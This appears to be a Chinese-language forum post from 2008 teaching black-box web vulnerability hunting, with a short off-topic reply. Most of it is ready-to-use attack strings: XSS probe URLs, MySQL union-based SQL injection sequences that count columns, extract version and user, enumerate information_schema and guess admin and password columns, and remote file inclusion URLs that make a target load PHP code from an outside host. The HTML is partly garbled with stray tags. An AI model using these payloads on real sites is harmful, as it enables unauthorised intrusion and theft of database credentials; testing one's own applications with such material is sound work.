服务器维护,服务器代维,安全设置,漏洞扫描,入侵检测服务

dirtysea 发表于 2008-10-22 19:27:36

跨站漏洞和MYSQL注入漏洞挖掘

WEB漏洞挖掘规则<BR>我想给大家事先说明下,该文档的所有内容都为黑盒子测试的范围,也即使用这些漏洞挖掘规则,<BR>大家仅仅需要一个WEB浏览器,如IE Firefox等即可,也无需读取WEB程序的源代码,只要某个规则<BR>符合了漏洞规则的要求,大家即可以采取相关的漏洞攻击技术进行相应的漏洞攻击办法:)<BR>再次的罗嗦一下,在本文档我没有实际的例子给大家,但是很多漏洞挖掘的规则都是一些经验的<BR>积累,而且很多可能在实际进行漏洞挖掘时需要与实际情况进行分析处理,例如:<BR>http://website/index1.php?id=&lt;script&gt;alert("111")&lt;/script&gt;,如果对方的代码过滤了"双引号</A><BR>那么可以通过http://website/index1.php?id=&lt;script&gt;alert('111')&lt;/script&gt;,采用'单引号测试</A><BR>若单引号也过滤呢?OK,我们这样来测试http://website/index1.php?id=&lt;script&gt;alert(111)&lt;/script&gt;</A><BR>使用数字提交,这样测试XSS的漏洞就扩展到了三条:)有些具体的站点可能还会有很多的问题,例如:<BR>通过构造HTML语句来实现XSS漏洞的挖掘等等.<BR><BR>A: XSS的漏洞挖掘规则<BR><BR><BR><BR>http://website/index1.php?id=&lt;script&gt;alert("111")&lt;/script&gt;</A><BR><BR><BR>http://website/index1.php?id=&lt;script&gt;alert('111')&lt;/script&gt;</A><BR><BR><BR>http://website/index1.php?id=&lt;script&gt;alert(111)&lt;/script&gt;</A><BR><BR><BR>http://website/index1.php?id=&lt;body+onload=alert("1111")&gt;</A><BR><BR><BR>http://website/index1.php?id=&lt;body+onload=alert('1111')&gt;</A><BR><BR><BR>http://website/index1.php?id=&lt;body+onload=alert(1111)&gt;</A><BR><BR><BR>http://website/index1.php?id=&lt;img+src=http://OtherWebSite/x.gif+onload=alert("1111")&gt;</A><BR><BR><BR>" target=_blank&gt;http://website/index1.php?id=&lt;img+src=http://OtherWebSite/x.gif+onload=alert('1111')&gt;</A><BR><BR><BR>" target=_blank&gt;http://website/index1.php?id=&lt;img+src=http://OtherWebSite/x.gif+onload=alert(1111)&gt;</A><BR><BR><BR>http://website/index1.php?id=&lt;"</A><BR><BR><BR>http://website/index1.php?id=&lt;'</A><BR><BR><BR>http://website/index1.php?id=&lt;<BR><BR><BR>http://website/index1.php?id=&lt;!--<BR><BR><BR>http://website/index1.php?id=--&gt;<BR><BR><BR>http://website/index1.php?id=&lt;!-- --&gt;<BR><BR><BR><BR><BR>使用上面的这些简单漏洞规则,如果模糊测试一些站点的话,是可以找到一些XSS漏洞的,当然这些<BR>不是全部的XSS漏洞规则,但是我觉得这些规则比较经典些:)我测试一些站点的时候,使用这些<BR>规则基本上可以找到一些XSS漏洞.<BR><BR>B: SQL Injection<BR>现在,MSSQL的注入技术已经变的很简单,下面的内容我们针对mysql的注入和大家一起讨论下<BR>相关的技术,这些技术有简单的,也有一些比较复杂的.另外mysql的注入工具目前没有任何比较<BR>强的工具,目前书写一款功能较强的MySQL注入检测工具也基本纳入了2007年的计划内.<BR>下面会针对各种规则,然后对这些规则进行简单的说明,很多规则我相信大家都用过的,不对<BR>的地方希望大家给予指针.<BR>下面的这四个语句判断是否存在mysql注入,其中'号类型的测试已经不是很可行,特别在PHP5和mysql<BR>5的环境下:)<BR><BR><BR><BR>http://website/index1.php?id=1</A></A></A></A></A></A></A></A></A></A>'</A> <BR><BR><BR>http://website/index1.php?id=1</A></A></A></A></A></A></A></A></A></A> and 1=1<BR><BR><BR>http://website/index1.php?id=1</A></A></A></A></A></A></A></A></A></A> and 1=2<BR><BR><BR>http://website/index1.php?id=1</A></A></A></A></A></A></A></A></A></A> order by 4 //4为判断该表的列数,直到猜测到为止<BR><BR><BR><BR><BR>下面的语句来获取mysql的一些信息,这里我们假设我们使用order by语句判断出的列数为4<BR><BR><BR><BR>http://website/index1.php?id=1</A></A></A></A></A></A></A></A></A></A> and 1=1 union select 1,2,3,4<BR><BR><BR>http://website/index1.php?id=1</A></A></A></A></A></A></A></A></A></A> and 1=1 union select version(),database(),user(),4<BR><BR><BR>http://website/index1.php?id=1</A></A></A></A></A></A></A></A></A></A> and 1=1 union select 1/*<BR><BR><BR>http://website/index1.php?id=1</A></A></A></A></A></A></A></A></A></A> and 1=1 union select version()/*<BR><BR><BR>http://website/index1.php?id=1</A></A></A></A></A></A></A></A></A></A> and 1=1 union select databse()/*<BR><BR><BR><BR><BR>猜测表名:<BR><BR><BR><BR>http://website/index1.php?id=1</A></A></A></A></A></A></A></A></A></A> and 1=1 union select 1,2,3,4 from database.table where 1=2<BR><BR><BR>//where 1=2 不打印猜测表的内容<BR><BR><BR><BR><BR>这里的猜测就需要大家多靠经验了,如admin user articles news等等,而且必须在指定select<BR>的字段个数再使用,否则mysql会报错.<BR>http://website/index1.php?id=1</A></A></A></A></A></A></A></A></A></A> and 1=1 union select table_schema,table_name,table_rows,<BR>table_count from information_schema.tables //如果执行这条语句是可行的,那么恭喜大家可以<BR>得到更多的数据库信息了:)<BR>上面我曾经提到过使用数据库的元数据来获取mysql的信息,就是这里的这个办法,当然前提是系统<BR>管理员没有禁止mysql普通用户对元数据库的表查询,如果禁止了则该办法是无效的.<BR>在开始分析mysql数据库到底可以执行到那种程度的注入情况下,我花了一天的时间分析了mysql的<BR>系统架构,最终发现通过information_schema数据库提供给mysql用户的元数据可以得到一些mysql<BR>数据库的基本信息,例如得到数据库的各个表信息等,还可以得到数据库的权限设置等信息,下面的<BR>内容属于临时增加的一个章节,我们一起来讨论下information_schema数据库的一些我们用到的表<BR>的具体字段到底是干什么的:)<BR><BR><BR><BR>1: KEY_COLUMN_USAGE表<BR><BR><BR>constraint_schema: 存放数据库名<BR><BR><BR>table_schema: 存放数据库名<BR><BR><BR>table_name: 存放数据库表信息<BR><BR><BR>column_name: 存放数据库的字段信息,一般可以获取第一个字段或者自增字段的信息<BR><BR><BR>2: SCHEMA表<BR><BR><BR>schema_name: 存放数据库名<BR><BR><BR>default_charater_set_name: 存放charset类型<BR><BR><BR>default_collation_name: 存放charset相关信息<BR><BR><BR>3: SCHEMA_PRIVILEGES表<BR><BR><BR>grantee: 存放数据库用户名<BR><BR><BR>table_schema: 表名<BR><BR><BR>privilege_type: 权限<BR><BR><BR>4: STATISTICS表<BR><BR><BR>table_schema: 存放数据库名<BR><BR><BR>table_name: 存放表名<BR><BR><BR>index_schema: 数据库名<BR><BR><BR>index_name: 是否缩引?<BR><BR><BR>column_name: 存放索引自增字段?<BR><BR><BR>5: TABLES表<BR><BR><BR>table_schema: 存放数据库名<BR><BR><BR>table_name: 存放表名<BR><BR><BR>table_type: 表类型 SYSTEM or BASE TABLE<BR><BR><BR>engin: MEMORY MYISAM InnoDB<BR><BR><BR>version:<BR><BR><BR>table_rows:表的行数<BR><BR><BR>auto_increment: 自增的总行数<BR><BR><BR>create_time: 创建表的时间<BR><BR><BR>update_time: 更新表的时间<BR><BR><BR>create_options: 创建表时的约束条件<BR><BR><BR>...<BR><BR><BR><BR><BR>有了这些以后,如果对方系统管理员忽略了这些,则可以达到我们不需要猜测表名而<BR>直接获取数据库表名的结果.我在本地测试时一切OK:)<BR><BR>猜测列名:<BR>http://website/index1.php?id=1</A></A></A></A></A></A></A></A></A></A> and 1=1 union select username,2,3,4 from user where 1=2<BR>按照这个规则依次类推,如果我们猜测到user表存在username字段,则程序执行是正常的,否则程序会<BR>出错,也可以使用where 1=1来打印表的信息,通过这样的办法就可以获取mysql数据库的某些关键表<BR>的字段信息,如:admin与password:)<BR><BR><BR>C: 文件包含漏洞<BR>文件包含漏洞的测试,有以下几个比较简单且有效的办法.<BR>1: 新建一个简单的php代码,如:&lt;? phpinfo(); ?&gt;,保存为*.txt格式<BR>2: 新建一个简单的php代码,如:&lt;? phpinfo(); ?&gt;,保存为无后缀格式<BR><BR>然后我们测试时只需要采取下面简单的办法即可,这里我们假设我们下面的文件URL为:<BR><BR><BR><BR><A href="http://www.dirtysea.com" target=_blank>http://www.dirtysea.com</A>/include.txt</A><BR><BR><BR><A href="http://www.dirtysea.com" target=_blank>http://www.dirtysea.com</A>/include<BR><BR><BR><BR><BR>漏洞规则:<BR><BR><BR><BR><A href="http://website/file.php?inc=http://www.dirtysea.com" target=_blank>http://website/file.php?inc=http://www.dirtysea.com</A>/include.txt</A><BR><BR><BR><A href="http://website/file.php?inc=http://www.dirtysea.com" target=_blank>http://website/file.php?inc=http://www.dirtysea.com</A>/include.txt</A>?<BR><BR><BR><A href="http://website/file.php?inc=http://www.dirtysea.com" target=_blank>http://website/file.php?inc=http://www.dirtysea.com</A>/include?</A><BR><BR><BR><A href="http://website/file.php?inc=http://www.dirtysea.com" target=_blank>http://website/file.php?inc=http://www.dirtysea.com</A>/include<BR><BR><BR><BR><BR><BR>使用上面的简单规则即可实现文件包含漏洞的测试,当然得根据具体的返回信息来判断.<BR>例如从XSS漏洞的检测规则可能会发现包含文件漏洞:)<BR><BR>如果我们知道PHP的某个函数存在缓冲区溢出,我们假设这个PHP的内置函数为phphtml(char *str),<BR>那么我们如何利用这样的漏洞呢?<BR>我们假设http://website/file.php?inc=test,这里的参数inc经过PHP代码时使用了phphtml内置<BR>函数,则可以使用下面的办法来触发漏洞<BR>http://website/file.php?inc=11111111111....n(n为触发漏洞的最大字符数)<BR>当然类似这样的漏洞是需要写程序来自动运行的,然后来触发溢出并执行shellcode.<BR>但这里也存在一个问题,即一般情况下,类似PHP本身的溢出漏洞的利用是有些难度存在的.<BR>

新疆人胡胡 发表于 2006-6-14 19:50:04

re:跨站漏洞和MYSQL注入漏洞挖掘

不错呀,为什么没有新疆老婆呀?????
页: [1]
查看完整版本: 跨站漏洞和MYSQL注入漏洞挖掘